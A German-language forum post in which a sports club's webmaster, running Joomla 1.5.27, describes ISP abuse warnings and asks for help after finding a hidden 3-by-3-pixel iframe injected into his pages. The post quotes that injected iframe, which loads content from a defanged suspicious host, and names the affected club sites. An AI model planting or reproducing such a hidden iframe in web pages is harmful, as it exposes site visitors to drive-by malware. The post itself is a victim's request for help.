Fremdes Script auf der Webseite

pa7934

Hi, ich betreibe einige Webseiten für einen Sportverein. Dazu benutze ich Jommla 1.5.27.. Das lief bis vor kurzem alles Prima. Seit einiger Zeit bekomme ich von der Telekom (ABUSE) Hinweise, dass von meinen Router aus (angeblich meine IP Adresse), verschiedene Rechner angegriffen werden um Daten, Passwörter etc. aus zu Spionieren. Somit habe ich zunächst die PW am Router, WLan, und auch meine EBay, Bankdaten etc. geändert. Einen vollständigen Scan mit Avira Internet Securita gemacht. Alles ohne Befund -
Laut Telekom haben die meinen EMail Verkehr eingeschränkt (Abuse-Team).
Ich sollte noch mit gmet und Malwarebytes meinen Rechner Scannen. Das ist auch jeweils ohne Befund passiert. Ich habe mir darauf hin Malwarebytes in der Vollversion gekauft und lasse es jetzt in der Kombination mit Avira laufen. - Kein Befund - Jetzt habe ich auf meinen Webseite folgendes gefunden: Am besten sieht man es mit Firefox. Links oben befinden sich weisse Kästchen. Beim Überstreichen und anklicken der rechten Maustaste (Quelltext i.d. Markierung anzeigen) erscheint dort ein Script in einem IFrame, worin wechselnde Inhalte, teilweise mit Verzweigung in Richtung xxx.ru gehen.

Beispiel: z.Zt. nicht nach .ru sondern ....

<iframe src="hxxp://ohmsd.sellClassics.com/doubleclickingsygate.cgi?8" align="middle" frameborder="no" height="3" scrolling="auto" width="3"></iframe>

Dieses IFrame habe ich nicht eingebaut, es erscheint auch nicht in der index.php

Schaut mal selber unter www.reds-bremerhaven.de oder www.oscfussball.de

Wie gesagt mit Firefox. Beim IEX steht das Script (weisser Balken in der Mitte).

Für Hinweise oder Hilfe wäre ich Dankbar.

MFG
Michael